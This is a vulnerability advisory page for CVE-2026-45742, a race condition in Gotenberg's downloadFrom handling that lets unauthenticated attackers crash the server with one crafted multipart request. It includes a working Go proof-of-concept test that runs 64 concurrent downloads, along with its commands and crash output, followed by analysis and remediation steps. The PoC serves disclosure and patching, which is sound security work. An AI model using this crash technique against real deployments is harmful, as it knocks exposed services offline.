Skip to main content

Gotenberg CVE-2026-45742

HIGH
Race Condition (CWE-362)
2026-05-29 https://github.com/gotenberg/gotenberg GHSA-vp73-vjw8-8f32
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 29, 2026 - 17:20 vuln.today
Analysis Generated
May 29, 2026 - 17:20 vuln.today
CVE Published
May 29, 2026 - 16:56 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc

package api

import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg" )

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64

var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close()

dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } }

payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) }

body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) }

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, }

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel()

if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395

WARNING: DATA RACE .../pkg/modules/api/context.go:396

WARNING: DATA RACE .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

AnalysisAI

Remote denial of service in Gotenberg v8.10.0 through v8.32.0 allows unauthenticated attackers to crash the process by sending a single multipart request with multiple downloadFrom entries that trigger concurrent writes to unsynchronized Go maps. Because the default deployment enables downloadFrom and disables authentication, any internet-exposed instance can be terminated remotely without credentials, and publicly available exploit code exists in the upstream GitHub Security Advisory GHSA-vp73-vjw8-8f32. No public exploit identified in CISA KEV at time of analysis, but the PoC is fully reproducible and the fix is shipped in v8.33.0.

Technical ContextAI

Gotenberg is a stateless Go-based HTTP API that wraps Chromium and LibreOffice to convert documents (HTML, Markdown, Office files) to PDFs and screenshots, commonly run as a sidecar container in microservice architectures. The flaw lives in pkg/modules/api/context.go, where newContext fans out one goroutine per downloadFrom entry via errgroup.Go() to fetch remote files, then has each goroutine write directly into shared request-context maps (ctx.files, ctx.diskToOriginal, ctx.filesByField) at lines 395, 396, and 401 without any mutex or channel coordination. This is a textbook CWE-362 concurrent-execution race on a shared resource: Go's runtime explicitly detects concurrent map writes and aborts the entire process with an unrecoverable fatal error, which cannot be caught by deferred recover() blocks, so a single malicious request can take down the whole server. The vulnerable downloadFrom feature landed in commit f2b6bd3d and shipped first in tagged release v8.10.0.

RemediationAI

Vendor-released patch: upgrade to Gotenberg 8.33.0 or later (https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0), which serializes the downloadFrom map writes and also ships unrelated SSRF and path-traversal hardening referenced in the same release notes. If immediate upgrade is not possible, enable Gotenberg's built-in basic authentication via the --api-basic-auth-username and --api-basic-auth-password flags so anonymous attackers cannot reach the multipart endpoints (trade-off: every client must be updated with credentials). Alternatively, disable the downloadFrom feature with --api-disable-download-from (trade-off: clients that rely on fetching remote source files must switch to uploading them directly as multipart files). For network-level mitigation, place Gotenberg behind a reverse proxy or service mesh that restricts inbound access to known application backends and rejects requests outside the expected RFC 7578 shape, and configure a process supervisor (Docker restart policy, Kubernetes liveness probe) so the inevitable crash recovers quickly rather than causing extended outage. See GHSA-vp73-vjw8-8f32 for full vendor guidance.

Share

CVE-2026-45742 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy